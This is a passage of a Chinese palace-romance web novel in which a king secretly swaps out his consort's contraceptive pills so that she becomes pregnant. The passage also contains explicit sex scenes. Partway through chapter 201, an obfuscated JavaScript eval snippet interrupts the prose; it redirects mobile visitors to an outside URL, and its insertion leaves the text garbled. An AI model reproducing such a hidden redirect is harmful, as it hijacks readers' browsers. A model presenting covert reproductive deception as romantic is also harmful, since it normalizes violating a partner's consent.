珠珠年岁虽小,却很颖悟,立时明白眼前这位俏郎君话里的意思,珠珠二字,就算她口吃也能表达清楚,因为是叠字,所以就算结巴念出口也是珠珠二字。 江轲以为这孩子会生气,没承想,她只是不语,往后退了两步,屈膝行了一礼,掉头走了。 一时间脸上有些讪讪的。 就这么又过了两日,天下无不散之筵席,重逢后就是别离。 分别的那日,不论是呼延吉还是安努尔等人,赠予江轲大量的财资,他皆不要,只挂着一个粗布包袱,持着他常年随身的佩剑,同众人告别,最后走到一宽整的马车边,立于窗下,姐弟二人作了最后的别语。 江轲转身,走出众人之列,双手抱拳示意,然后翻身上马,一声驾喝,扬鞭而去。 如风一样来,如风一样走。 江轲走的当日,呼延吉同徽城众人相别,带着江念回京都,这中间又有三两日的路程,这晚,一众人歇于驿站。 因着赶路,几人也有些乏了,草草地梳洗后各自回了房,阿史苓却怎么也无法入睡,这些天她的脑子里都是江念那日同她说的话。 越想心头越是杂乱。 一会儿想,梁妃殿下说得对,不能因着自己一时的私心,伤了那女子也伤了自己。 一会儿又想,梁妃殿下不知相思之苦,她并不懂,情之一字本就是自私的,她为着那女子着想,谁为她着想呢。 一会儿又想,她这是单相思呀,人家才是两情相悦。 反正这几日,她拧巴得厉害,跟害了病似的,见着阿多图脸红得烧烫,又不敢面对,躲着、避着。 反倒是崔致远,看出了阿史苓的异样,不过他也不是多管闲事之人。 这晚,他叫上阿多图出到驿站院子,叫仆从上了几碟子小菜,二人对月饮酒。 “阿多图大人出来这些时日,只怕家中宝眷担心惦念,不像我,孤家寡人一个。”崔致远说趣道。 阿多图笑了笑:“她已习惯了。” “学生知大人同夫人乃少年夫妻,怎的这许多年未养育孩儿。”崔致远一面问着,一面给阿多图斟酒。 阿多图叹了口气,眉间染上愁绪,说道:“曾有过一子,后来夭折,拙荆耿耿于怀,觉着对我不住,又连怀了几个,皆是不上三个月没了。” 崔致远听了,摇头说道:“令夫人也不为她自己,多半还是为着你,再一个,高门大户人多口杂,上有高堂,下有奴仆,她心里也担着重哩!” 阿多图点头称是。 两人又絮絮说了些话,喝了八九分醉,各自回了房,而两人在院中的对话,正巧被楼上的阿史苓听了去,心道,若阿多图大人的那位妻子身有疾恙,无法承育子嗣,那他是否也有另娶之心呢。 她对他有意,他也有难隐,两下一合拍,兴许这事就成了,与其自己在这里苦恼,不如亲自问过他本人,方才不留遗憾。 现在天色已晚,待明日再寻机会询问。 次日一早,众人起身,收拾完备,继续赶路。 走了大半日,中途马车停下歇息,江念见阿史苓不住地揭帘子往外看,问道:“怎么了?” 阿史苓眼中忽闪,摇了摇头:“没什么,有些坐久了。” “那你下去走走,只是别走远了,叫人跟着。” 阿史苓巴不得一声儿,下了马车,只带着贴身丫头珍珠,举目四顾,终于远远地看到阿多图的身影,见他正同一众护卫交代着什么,等护卫散去,阿史苓捉裙往那个方向走去。 她与他隔了一段距离,中间还有一片碎石滩,一双软底绣鞋在石子上晃荡走着,不得不低头留心脚下,好不容易走过去,一抬头发现人不见了。 再四顾一看,发现他正立在一堆大草垛子边,当下不多想,急急走去。 “阿多图大人。”阿史苓不近不远地唤了一声儿。 阿多图转过脸,看向来人,见是阿史苓,颔首道:“苓姑有事?” 阿史苓微喘两息,脸上盈着笑,腮颊粉红,说道:“阿多图大人,我有一事想求问大人。” “何事?” 阿史苓将面迎向他,说道:“我倾心于大人,不知大人对我可有意?” 阿多图怔了怔,脸上闪过一丝不自在,眼睛往她身后瞥去,阿史苓觉着奇怪,掉头看向身后,两眼惊瞪,脱口而出。 “你怎的在这儿?!” 崔致远一脸古怪,说道:“我怎么不在这里,我同阿多图大人正说着话,你颠颠跑来一通胡言乱语,你什么毛病?” 阿史苓听他说话不客气,气不打一处来,回呛道:“你才有毛病,没毛病你躲在这里偷听人说话?” 崔致远冷笑一声:“我先来,你后来,到底是我偷听你说话,还是说你那话故意说给我听的?”说罢,扬起下巴,复问道,“故意的罢?” 阿史苓呆了呆,眼睛一霎,望着崔致远的一双眼,薄薄的眼皮下没有戏谑没有嘲笑,只有平静。 阿史苓仿佛悟到什么,提起一口气:“是,就是说给你听的,故意说给你听,好叫你这种自作多情之人颜面全无。” 说罢,一扭身离开了。 阿史苓先还只是走,到后来小跑起来。 崔致远给她递梯子,她就势下台,他立在她的身后,正巧能观得阿多图的反应,同为男子,在她表明心意后,他一定端倪出阿多图脸上的拒意。 所以他才说出那样的话替她解围。 一时间,阿史苓心里又酸涩又感激。 感激于崔致远替她解围,酸涩于阿多图在她表明心意后的反应,现在回想起来,她同样捕捉到他脸上一闪而逝的拒意,只是她自欺地忽略了。 阿史苓想着想着,忍不住笑着摇头。 “主子,你笑什么?”珍珠问道。 “轻松了。”阿史苓说道。 珍珠不明,刚才主子叫她不要近前,她便在不近不远处候着,就见主子走到阿多图大人跟前不知说了什么,接着崔大人出现,然后两人争执起来。 众人再度启程,一日之后,抵达京都。 虽说江轲没有随江念回京都,但姐弟二人相互牵挂着彼此,江念回了王庭专等他的书信。 从徽城回王庭后的某一晚,江念躺于王榻之上,在夜烛之下晕晕地看书,呼延吉沐身后从沐室出来,身上还敞着潮气,也不立刻入榻,而是盘腿坐于毡毯上,叫宫人上了一壶冰湃过的酒。 呼延吉看向一侧,挑眼惑语道:“阿姐,来,给你喝点好东西……” 第199章 孕 江念放下手里的书,趿鞋下榻,走到他的对面坐下。 呼延吉亲自替她倒了一小盏清酒,又给自己倒上。 澄澈的琼液泛着碧色,在翠色的琉璃盏中更显绿郁。 江念执起酒杯,抿了一小口,欣喜抬头,说道:“甘甜的,不辣口。”如山涧流下的清泉,在醉人的清风中滤了一遍。 接着又喝了几口,呼延吉一面给她续上一面说着:“乌兹城邦进献的夜烟铃。” 乌兹城邦是夷越北边的一小国,由十几个大小城镇联合组成,各城有自己的城主,城主之间三年一轮换做城邦理事人,遇到重大决策时,理事人便召齐各城主进行商讨,最后做出定论。 “夜烟铃?这个名字倒是好听,有什么讲究?”江念贪杯,把杯中的酒一口饮尽,看着呼延吉,那意思叫他再续一杯。 呼延吉看了一眼江念空空的琉璃盏,给她再续一杯,说道:“这个‘夜’字应是取个意境。” 江念听后点了点头。 “‘烟铃’二字嘛,就是讲人醉过后,如梦如幻似入渺渺仙境,隐有悦耳的仙铃之音。” 江念把第三盏缓缓饮下,轻笑道:“只怕我这俗人是入不到仙境了。” 呼延吉拿起自己手边的翠色琉璃盏,放到唇间轻抿,略略打湿唇瓣,抬眼问道:“怎的入不了仙境?” “这夜烟铃确实爽口,入口不是凡品,只是酒性不烈,叫妾身喝他一大海碗也醉不了,既然醉不了,又怎能听那悦耳的仙铃清音?” 江念见他不替自己续杯,于是拢袖探手,自去拿白玉壶,只是手刚碰到壶身待要提起,就被呼延吉摁住。 “不可再饮。” “只饮了三杯,这盏儿小,喝不醉人。”江念嘟囔一句,却已有醉态,“你怎的不喝,刚才那一杯动也未动?” “此酒极易醉人,喝不得太多。”呼延吉说道。 江念从他手里拿不出酒壶,却又犯了馋劲,两眼星欠,脸颊发红发热,干脆歪坐到毡毯上,嫌腿边的裙裾碍事,踢了踢。 这夜烟铃乃乌兹城邦特有,不仅特有且稀贵,普通人根本喝不到,便是权贵也当作珍酿,不轻易拿出来招待,只自己品,且此酒极易醉人,常使人醉了还不自知。 女人微腮带赤,看着对面的呼延吉,一双妙目慢慢下移到他湿润的唇上,然后拢起脚边的裙裾,露出一双莹白的足,碎步到他跟前,微微弯下腰,双手捧着他的脸,眸光轻轻落到唇上。 即使还未触碰,她已感知那唇的温热和柔软。 她倾身向他,哪怕没有一点依撑,也知可以毫无顾虑地偎向他,他会接住自己,果然,一双臂膀环上来。 她一手抚上他的脸颊,醉过后的腔调格外绵软:“只一杯,再喝一杯。” 呼延吉侧过头,拿起几上的琉璃盏,并不递向对面的江念,而是自饮了一口,就在江念不防备时,吻了过去。 他一手钳住她的下颌,缓缓把酒渡到她的香口中,细细的酒液自嘴角流出,染湿了女人的衣襟,那胸前便染上了醉人的酒香。 “还要么?”呼延吉离开她的唇,低声问道。 江念撑在他的身上,粉面慵懒,仍在回味,她觉着自己不是贪酒,而是贪恋他绵绵的亲吻。 “还要。”江念双臂环上他的颈,微微仰起脸,相邀的情态。 呼延吉轻笑,一双眼睃上女人丰盈的唇,像是巡视着自己的领地,宠溺地在她唇上碰了碰,然后离开。 他这一轻轻的碰触,让她的骨头像有小蚁咬着,难受得厉害,却又羞怯不能言,伏在他的身上,主动凑到他的唇边,亲了亲。 “我醉了……” 呼延吉“嗯”了一声。 接着江念又道:“醉了的人是不清醒的。” 呼延吉点了点头,称是。 “醉酒时,不论他们做什么都是不作数的,是不是?” “是。” 江念得了回答,转头看向几上的半盏夜烟铃,拿起,仰头饮下,先前的酒劲还未褪去,更添新醉。 头一次,她在他的注视下,宽衣缓带,露出一身凝雪般丰泽的肌,她主动吻上去,她告诉他,她醉了,既是醉了,就放肆一回。 她的舌在他的口中勾逗着,同他的舌儿交缠,无论她是急是缓,他总能很好地随和上她。 这叫她越发止不住地想去欺一欺他,就像儿时,她也总是欺负他。 那时的她说着轻飘讥讽的话语,他明明已经很气,却生生捺下,只是不出声地看着她,等她自感心虚,等她回避他的目光。 在她蒙蒙的目光中,他的后背抵着案几,眼尾飞出一抹淡淡的红痕。 他的从容应对,使她起了一点点坏心,牙舌稍稍用力,咬了上去。 呼延吉“唔”了一声,从她的口中退出,往她脸上望了两眼,微喘道:“看来是真醉了……” 说罢将人打横抱起,走到榻边,挥下床帐,将她放到榻上,宽去广袖绢衣,倾身在上。 在呼延吉的巧弄下,江念早已软瘫热化一般,颤颤地发出娇音。 他半跪在榻上,把她的下身倒提起,使她整个下身腾空承接住他,迎凑间,叫他恨不能死在她的身上。 事毕,他将她腾空的下身缓缓放下。 江念是真的醉狠了,这夜烟铃的后劲儿可大,越到后面越幽迷,完事后,迷糊地睁不开眼,却仍有一丝意识探手到枕下寻药匣子。 呼延吉捉住她的手,俯在她耳边,低声道:“阿姐……” 江念下意识地“嗯”了一声:“药。” 呼延吉从她的枕下拿出药匣子,“嗒——”的一声打开,然后再阖下,两指拈着,递到江念嘴边:“喏,吃下。” 江念这会儿若是清醒着,就能发现呼延吉两指之间空着,哪有什么药丸。 不过她现在不仅醉着,连眼也不能睁开,听说药来了便张开唇,然后做了一个吞咽的动作。 呼延吉见她这样有些想笑,又有些心酸和自责,如今他已收拢兵权,手上有了足够的力量,便有了对抗的底气。 不仅如此,包括先前惩治高家,收拾朵家,还有阿史家的投诚,以及打压罗家,牵带肖家,虽说动不了他们的根本,却是他为她铺的路。 她如今已二十六七,他不能再等了,他问过宫医,妇人年岁越大,孕育子嗣越艰难,不仅如此,身子骨还不好调养回来。 若为了稳妥,让她这个时候有孕并非最佳时机,虽说兵权归拢,但他预想的四海归一还未达成,这个宏愿还需多久才能达成,一两年?或是十来年? 他总不能叫她三十、四十再生养孩子,那也不现实。 他的这个心思,无法对她言明,她妇道人家多思多虑,一件事情想不通,就耗在上面迈不过去,不能前进寸步,其他的事都好说,他依着她的性儿,但这件事情上,他不能由着她。 至于孩子的血统问题,不过是遇河搭桥,只要有他在,总能扛过去,决计不叫她和孩儿受屈。 呼延吉想起宫医的话,从旁拿过一个褥子,悄不声儿地将她的下身垫高,然后躺在她的身侧,闭眼睡去。 次日,江念醒来,慢慢地从床上欠起身,夜烟铃是上等酒,人虽宿醉,醒来后却不觉得头疼,只是身上酸软。 宫婢们听见寝殿的动静,入内开始伺候。 因觉着身上有些不清爽,江念披了一件宽大的长衫去了沐室,身后跟了几个近身伺候的宫婢。 秋月便指着宫婢们收拾床褥,重新铺陈床帐。 梳洗过后,江念去了祥云殿请安,坐了没一会儿,又碰上前来请安的肖妃,两人坐在圣太后下首,陪着说了一会儿话。 高太后这几日精神萎靡,她们坐了没多少会儿,就让退下,两人行了退礼,走出殿外。 “左右闲着也是无事,妹妹去我那里坐坐,打发打发时间?”肖妃说道。 江念微笑着应下,随后两人乘着步辇去了莲花殿。 肖妃的莲花殿比东西两殿更处王庭里端,殿后紧依一座小山,山上遍布着葱葱郁郁的树植,那小山并不高大,隐约可见山间有宫人穿行。 “他们在做什么?”江念问道。 肖妃抬眼向上望去,微笑道:“这高墙深院的日子太冷清,又不易打发,总得给自己寻点事情做,我叫他们在低平处开了几块地,种上一些蔬果。” “种地?”江念惊异道,不论从前还是现在,这对她来说都是一件新鲜事。 “是,开出一片地,无事之时,我就换身轻便的素服,叫上两人丫头,扛一把锄头,上山翻翻土、施施肥,做一做粗活。”肖妃携着江念的手,问她,“要不要上去看一看?” 第200章 酸儿辣女 江念随肖妃上了莲花殿后的小山,这山间的路不难走,有一条蜿蜒向上的小径,因是晨间,山腰处烟霭袅袅,衣衫为之湿润。两人沿着小径往上走着,经过的宫人们皆躬身行礼。 “我让宫人在上面设了茶案,上去坐坐?”肖妃说道。 江念微笑着点头。 一路行来,江念见这些宫人虽着宫服,却比别处更粗简,真有些农家人的样式。 不一会儿,两人走到坡山上一块整阔处,那里是一张大木方桌,桌边设有竹椅,案边侍着四名宫婢,案上摆了一些鲜果和一套茶具。 两人对坐下,宫婢上前沏茶。 江念拿起茶盏呷了一口,问道:“姐姐不想家么?” 肖妃轻叹一息,说道:“妹妹未曾去过云川罢?” “不曾去过。” “我肖家世代居于云川,云川的民俗同你们梁国有些相似,我们那里种茶,好多茶田,夷越的茶大多是从我们云川出的,有传很久以前,我们肖氏一族是从梁境迁移来的云川,为此儿时的我还同姊妹们偷翻族谱,后来被发现,一人打了十下手板。” 肖妃说着,兀自笑起来。 这是江念头一次注意到肖妃的笑容,很美,是那种平时不轻易笑,一笑整个人都焕出光彩的风韵。 在肖妃的言谈中,江念的脑中出现了一个淘气金贵的小娘子,眉眼带着俏皮的笑,到后来,这位小娘子长大了,穿着华贵雍容的嫁衣,进了王庭。 话随话间,江念见她提起族中姊妹,便问道:“甄姑如今怎样了?” 肖妃眼中流露出一丝宽慰,说道:“她现下好了,才被诊出有了身孕。” “有了?”江念惊问道。 “是,月份还小,我那妹夫欢喜得什么似的,寸步不离地伴着,稍稍走几步路,就怕她累着。”肖妃摇了摇头,“叫我说这样也不好,太小心了,不能太拘着。” 江念听后,点了点头:“我听人说,女人有孕可适当走走。” “不过她这月份小,倒是该格外警醒些,先前一个没保住,这一个不敢大意。” 江念称是。 然后就安静了下来,肖妃看向对面,见江念两眼空空地看着手中的茶盏,神情惘惘。 江念同她年岁隔不了多少,这个年纪不比正值青春的女子,因着梁人的身份没法孕育王嗣,纵使独承君王恩泽,心里也会有难言的苦涩罢。 肖妃转开话头,说起自己种瓜果的一些趣事,江念跟着应和,不过有些心不在焉。 两人又坐了一会儿,下了小山,江念没进莲花殿,辞别而去,肖妃看着她走远,悠悠地叹了口气。 回了西殿,江念整个人没什么精神,郁郁的,刚才听到肖甄有孕的消息,她先是高兴,之后一阵无力的萧落漫上来,挥散不去。 穿过露台走进寝殿,江念叫秋月替她宽衣,她想再睡一会儿,秋月服侍江念睡下,打下半边床帐,叫殿中下人一齐退下。 呼延吉散朝回了西殿,问过后,得知江念回来后就睡下了,于是在侧殿宽了朝服,换上一身软绢衣,这才进寝殿。 他走到榻边,打起床帐,见床上的人儿朝里侧卧着,上身着一件短衫,下穿一条银红细花描金边撒脚裤,露出一截玲珑的小腿,于是侧躺到她的身后,用微凉的唇去吻她后颈的暖意。 江念半醒着,不愿动弹,由着他,可当呼延吉探手到她的裤带处,江念扭了一下,嗔道:“白天呢。” 呼延吉便不动了,拥着她,闭上眼,陪在她的身侧睡去。 不知睡了多少时候,江念醒来时,呼延吉仍未醒,她的目光在他面上认真地描摹。 不浓不淡的眉,褐色的眼睫,在眼下投出一片影儿,隆直的鼻,还有那两瓣将红未红的唇,无一处不好看,她便凑上去吻了一下。 不论有无孩子,起码他的怀里只有她,再无别人。 熟睡中的男人眉头微动,迷蒙间启唇相邀,两眼似睁非睁地看着怀中的人儿,问道:“这是你主动逗弄我的?” 江念囫囵“唔”了一声,呼延吉撩衣缓带,翻身而上,青天白日下,一场颠鸾倒凤。 那守于寝殿外的宫婢隐隐听到响动,相互对看一眼,默不作声地退开。 云雨过后,江念趴伏着,探手到枕下摸索药匣子,再将匣子拿到面前打开,取出里面的小药丸,放入口中咽下。 呼延吉见了,眼中闪过一抹异色,将她拉到怀里,一手抚上她的小腹。 时光匆匆,一晃又是三两个月。 江念看着眼前的肖甄,同上次见她全然不同,之前脸上的郁色散了,脸颊丰盈红润,眉眼可亲可爱。 “去过莲花殿了么?”江念问道。 “先去的祥云殿给太后请安,又去看了姐姐,臣女这才从莲花殿来。”肖甄说道。 江念笑着点头,眼睛落到女子微隆的腹部,说道:“看着倒是不显。” 肖甄抬手轻轻抚上肚子,嘴角含笑道:“臣女特意让人把衣衫改大了,再一个,月份不大,看着就不显了。”说着朝江念的面上望了望,“殿下气色有些不好,是不是哪里不适?” “倒也没有哪里不适,就是最近胃口不太好。”说到这里,江念好奇地问道:“有没有什么忌口呢?从前听人说什么酸儿辣女,不知是不是?” “臣女并不知有什么忌口,都是厨下做了来。”肖甄想了想又道,“至于‘酸儿辣女’这个好像还真是,从前臣女喜食酸甜物,如今就吃不得,只想吃些辣的,想来这胎是个女儿。” 江念笑道:“女儿好呢,小罗大人定是喜欢的。” 说到这里甄姑就红了脸,抿着嘴儿笑。 江念心道,可真是叫人生羡的一对,想起什么,转头对秋月吩咐:“你去把前些时地方上进献的鹿肉铺子干端来,叫甄姑尝一尝。” 秋月应下去了,不一会儿两个宫婢手上执着木托子碎步走来,托盘上放着精致的小瓷碟和筷箸,两个宫婢上前,将托上的瓷碟摆放到案几上,再摆好筷枕,放上箸。 然后退了下去。 秋月又叫宫人上了些清甜的果汁,说道:“甄姑放心,这几样入口的东西,婢子问过膳房,有孕之人亦可食用,果汁亦是鲜碾出来的。” 肖甄笑着对江念说:“有秋管事在跟前伺候着,殿下也是省心了。” “我是个粗心大意的,离不了她。”江念指了指那瓷碟,说道,“你尝尝,这鹿铺肉干鲜得很,腌了辣子,又不过于辣,你如今喜食辣物,吃这个正好。” 肖甄拂袖,拈起筷箸,挑了一小块放入口中,细细咀咽。 “如何?可还合口味?”江念问道。 “当真是好吃。”肖甄说着,又拣了一小片,放入嘴里。 江念见她喜欢,吩咐秋月包一些出来,那肖甄听了忙放下筷箸,起身整衣拜谢赏赐。 江念示意她不必多礼,坐下,然后自己拈了一箸鹿脯肉,掩袖放入口中,慢慢品嚼,不知怎的,在口中噙了好一会儿,却难以下咽。 当下她只想把那鹿脯肉吐出来,可当着对面的肖甄,又不能做出失礼的举动,刚才她还说鹿脯肉美味好食,结果人家咽下了她却吐出,成什么样子,遂又嚼了两下,梗着脖儿生生咽下,不承想胃里一阵翻江倒海。 “哕——” “殿下!”甄姑轻呼一声。 周边的宫侍们皆惊动过来。 秋月忙给江念抚背,一面拿过一个装茶的盏儿:“主子,喝些清茶压一压,有没有好些?婢子让人把宫医请来。” 说着,正待让人请宫医,江念一手捺着胸口,红着眼眶摇了摇头:“不必了,大惊小怪的,就是这些时日有些失了胃口,想是天气太热的缘故,缓一缓就好……” 说话间,眼睛无意瞥见瓷碟里的鹿脯肉,又是一阵呕,只把眼睛呕出泪星儿。 肖甄见江念这情状倒像自己才怀那会儿,忙把案几上的瓷碟子拿开。 “姐姐这些时可是饭食不香?” 江念慢慢直起身子,啜了一口清茶,压了压胸口的浊气,“嗯”了一声:“应是天气热燥。” 肖甄看向秋月,给她睇了一个眼色,秋月观其江念的样子,回过意来,挥手叫跟前的宫人们退避。 江念看了眼手边的果子饮,虚声道:“嘴里没味,沏一盏我吃。” 秋月忙提起琉璃壶,倒了半盏,奉到江念面前。 江念一手接过,慢慢饮下,这才觉着好些,于是又啜了几口。 “叫你见笑了。” 肖甄侧身坐下,想了想,试探地问道:“臣女有一语,却又怕冒犯到殿下。” “无妨,说来。” “殿下适才那样倒叫臣女想起怀有身孕那会儿,也是这般,吃咽不下,时常作呕,不如叫宫医诊看一番。” 怀有身孕?这怎么可能,不过,她这个月的月信好像没来,想到这里,心里忐忑起来,无措之余又滋冒出一丝说喜不是喜,说悲不是悲的杂乱心绪,随后否认这一荒谬的想法,毕竟她一直有吃避子丸。 江念按捺下慌动的心跳,笑道:“应当不是,我这是老毛病,胃口不好时,或是天气过躁就会如此。” 肖甄见她如此说,便不好再说,两人又絮絮说了一些话儿,肖甄辞去。 待人走后,秋月看向江念,说道:“婢子还是叫宫医来看看罢……” 第201章 要个孩儿,好不好? 江念并未叫秋月请宫医前来诊看。 一来她仍是有些不信怀有身孕,二来若她真的有孕,这件事便不是小事,不论对她个人来讲,还是对王庭,甚至整个夷越。 那些暗中蠢蠢欲动之人,会再次借题发挥,闹出许多不可意料之事。 到了傍晚,呼延吉回了西殿,膳房开始摆饭。 “梁妃呢?”呼延吉环视殿内殿外,不见江念,遂问向宫人。 宫人躬身道:“梁妃殿下正在沐室更衣。” 呼延吉点头,心道,太阳还未完全落下,怎的这样早沐身? 原是江念下午去了一趟制香堂,谁知在里面待了一会儿,就有些受不住,又要作呕,赶忙带着宫人离开了。 这在从前是不曾有过的事,于是回到殿中,衣衫上仍残有冲鼻的香气,行止间不时钻入鼻息,直叫人胸闷发晕,遂去了沐室,通身洗个干干净净。 江念从沐室出来,才知呼延吉已回殿中,宫人们摆齐了饭菜。 “今日在外殿用晚饭。”呼延吉说道,拿下巴指了指,示意江念坐下。 江念叫秋月替她把湿发拢起,然后行到呼延吉对面坐下。 呼延吉在她脸上端看两眼,两腮虽被水汽热红了,瞧着却有些精神不振。 “是不是哪里不舒服?” “没有。”江念说道。 呼延吉点了点头,两人开始用饭,江念吃得不多,用**后,用香茶漱口,他本想饭后去孔雀苑消消食,见她面色不好,便在寝殿陪她。 晚间,两人坐于寝殿的矮案边,呼延吉看着手里的书,抬眼看一眼对面之人,见她手撑着额,衣袖下是一截莹白圆润的酥臂,就坐在那里发呆。 “吉儿?”女人突然出声。 呼延吉“嗯”了一声,平时她惯叫他大王,这会儿兀地改口,就知她有事情要说。 江念见他眼睛落在书页上,有些敷衍的样子,便起身坐到他的身边,抽掉他手里的书。 “我说话,你别不理呀!” “又不用眼睛听,我耳朵听着。”呼延吉仍是捡起书翻看,他正看到关要之处。 江念有些生恼,心里委屈起来,她今日身上不好受,心里也不好,好容易等他回来,想着曲诉心事,他又一脸淡然不理的样子。 呼延吉等了半晌不见她的话音,抬起头,就见她薄面含嗔在那里瞪视着他,于是放下手里的书,说道:“好,好,我听着,你说。” 江念理了理思绪,说道:“那个避子丸我一直在吃。” 呼延吉点了点头,等她继续往下说。 “但是近日我觉着有些……”江念正说着,前殿宫人急匆匆来传,说高太后跌了一跤,把头摔破了。 呼延吉惊地猛然站起,叫木雅进来替他更衣,江念也跟着起身,要随他同去祥云殿。 “你精神不好,现下也晚了,明日再去。”呼延吉说道。 江念见他动作迅速,急于去祥云殿,若她去祥云殿少不得还要烘干湿发,再重新更衣理妆,反把时候延误了,于是点头,目送他出了西殿。 …… 呼延吉到了祥云殿,进到寝屋内,就见高太后靠坐于床榻上,头上包着纱布,周围侍立着几名宫医。 呼延吉上前先行了跪礼:“儿子来看望母后。” “大王起身。”高太后说道。 呼延吉起身走到榻前,坐下,转头问几名宫医:“太后伤情如何?” 为首一名宫医答道:“磕破了皮肉,并未伤得更深,血已止住,只需调养月余便能痊愈。” 呼延吉转头又问高太后:“母亲现下觉着如何?” “无事,倒是这么晚叫你过来。”说着,看了一眼金掌事,金掌事会意,领着众人出了殿寝。 此时屋里只呼延吉同高太后二人。 高太后抓住呼延吉的手,泣道:“我儿,母亲年岁已大,半个身子入棺材的人,我出自高氏一族,到后来嫁于你父王,又生了你兄弟二人,最后荣登太后之位,权力、富贵不过是手掌翻覆间。” 呼延吉见她说得动容,头上又有伤,宽慰道:“母亲放平心情。” 高太后摆了摆手,说道:“我儿,我这一跌,叫人心里惶恐,额血流到那面颊上,不知捱不捱得过去,心想着,你兄长走得早,不曾留下一儿半女,若此刻我去了,却连自己的孙儿也见不上一面,终是憾事。” 也许是上了年纪,这一两年高太后心境同从前变了许多,既怕孤独,且对亲情格外依恋,尤其今晚又跌了一跤,就想看自己儿子有个后。 这王庭太大了,连个孩子的笑闹声都没有。 高太后见呼延吉默着,虽说同之前一样不给正面回应,却不再岔开话头了,态度似有松动,趁势道:“我也不要你立大妃了,只需选一德行不差的夷越女子,诞下子嗣,你总不能无后,这王座亦不能无人承继呐——” 太后紧紧攥着呼延吉的手,隐有他不应下,就不松开的架势。 “你若怕屈着念丫头,也好办,就把孩子养在她名下,这样总归可以罢?” 呼延吉抬头看向自己的母亲,扫向她额上包扎的伤口处,纱布上渗出点点血渍,说道:“儿子应下了。” 高太后愁容顿散,眼神比刚才清亮不少,欣喜道:“应下了?” “嗯,儿子听母亲的话,诞下王嗣,让王庭热闹热闹,叫母后也享享天伦之乐。” 高太后喜得眼睛没了缝,连连说着:“好,好,好……” 呼延吉又陪高太后闲闲地说了些话,高太后因呼延吉应下王嗣一事,无论他再说什么,她都心情甚好,面容带笑,顿觉头上的伤也不疼了,人也有了精神。 心里美滋滋地想着,这无意中的一跌,跌出个大胖孙子来,因祸得福,也了却她心头之愿。 呼延吉又陪坐了一会儿,直到高太后睡去,方离了祥云殿,乘着步辇往西殿行去。 玄月高挂,四个宫奴提着羊角灯在前面照路,路边的杂丛传来“唧唧”的虫鸣,呼延吉坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631358|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于乘辇上,手肘着椅扶,支着下颌,心里想着高太后的话。 决定回西殿后还是同江念说一说,孕育子嗣之事不能瞒她,万一她知晓后同他闹,到那时,他该如何哄劝她?但事先同她商议过,那便不一样了,起码他提前跟她打过招呼, 她自己应当也喜欢孩子,他提及子嗣,料她不会不应下。 呼延吉心里这么想着,却仍是有些惴惴,忖度着一会儿怎样同她开口。 回了西殿,呼延吉入到寝屋,见她还未睡下,散着柔发,倚在床头,肩头披着一件玉色软衫,见他回来,忙趿鞋下榻迎了上来。 “太后的伤势如何?” 江念一面说着,一面替他宽衣解带,拿了一件广袖软衫给他换上。 “头上磕了一道口子,宫医说没伤到筋骨,得好生休养一些时日,适才肖妃同其他殿的几位老太妃去了,我怕扰了她老人家,没叫她们进殿,你也不必多想,等明日去同她问个安。” 江念点头应是。 一时间两人皆是不语,各有心思。 呼延吉心想着,接下来的话单独拎出来,只怕不好言明,不如让膳房上些酒馔,喂她吃两杯酒,迷迷糊糊中兴许就应下了。 于是招来宫婢,吩咐膳房热些饭菜上来,再筛一壶佳酿。 这会儿更深夜重,江念精神欠佳,再加上心中藏事,想要早些安歇,于是走到榻边待要上榻。 “你来这里,咱们说说话儿。”呼延吉说道。 江念回过头,见他盘腿坐在矮几边,宫婢们把热过的菜肴摆上,又拿来一壶美酿,于是走了过去,敛好衣摆,坐于他的对面。 呼延吉先给她斟了一盏酒,又给自己斟了一盏,举杯饮下,然后看向对面,却发现她并不执杯。 “喝一杯待会儿好睡。”呼延吉说道。 江念将酒杯推开,换了一个盏:“妾身还是喝果子饮。” 呼延吉呆了呆,也没去强求,只是自己多喝了几盏,这才开口。 “阿姐,我有一事同你商量。” “大王请讲。”江念把盏端起,轻啜了一口。 “我们要个孩儿,好不好……” 男人话音未落,对面之人突然一阵呕,连嘴里的果子饮都吐了出来,生生把他刚才的话压了过去。 呼延吉忙站起,走到她的身后,一面给她抚背一面朝外吩咐:“叫宫医来!” 江念抓着呼延吉的手,口不能言,指着那一桌佳肴,艰难地蹦出两字:“拿走……” 呼延吉看了一眼桌面上的菜肴,来不及多想,赶紧叫宫婢们上前把桌面撤下。 “有没有好点?” 江念这人对气味特别敏感,这会儿却因此遭罪,不得不以袖掩着口鼻,说道:“你也远着些,身上有酒气。” 呼延吉怔了一下,见她这个样子,再一回想饮“夜烟铃”那晚,二人欢好后,他没喂她吃避子丸,且自那日之后他就把匣子里的避子丸给换了,该不会是……当下心跳越来越快…… 第202章 天佑之喜 呼延吉不仅心跳得欢动,连经脉里的血都开始滚热,但江念不让他靠近,嫌他身上有酒味,他懊丧自己喝什么酒,忙把外衫褪去,随手丢在地上,又抬臂闻了一下袖口,好似仍有些酒息。 遂叫宫人进来替他重新更衣,又往嘴里含了口檀,这才慢慢走过去,江念也不再支他走开。 呼延吉倒了一杯温水,喂她喝了,问道:“好没好些?” 江念慢慢地撑起身子,抚着胸口静了一会儿,说道:“好些了,前几日胃口不好,我还道是这些时潮闷之故,想来不是了。” 说罢,一双被水汽氤氲的眼看向呼延吉。 呼延吉嘴角翘得高高的,两眼睛亮,捧着江念的脸狠狠地亲了一下:“乖乖,咱们……” 话只说了一半,正巧达娃前来通传,刚走到寝屋前撞见这一幕,又慌张地退了出去,呼延吉瞥见,问道:“可是宫医到了?” 达娃忙上前两步,屈身回是。 “快请进来。”呼延吉催促道。 不一会儿,达娃引着宫医进入寝屋,正是同云娘相熟的申宫医。 申宫医向上行礼毕,侍立于一边,等宫婢们替梁妃理好衣装,从帷屏中出来,端坐下,又在其手腕覆上绢巾,这才上前诊脉。 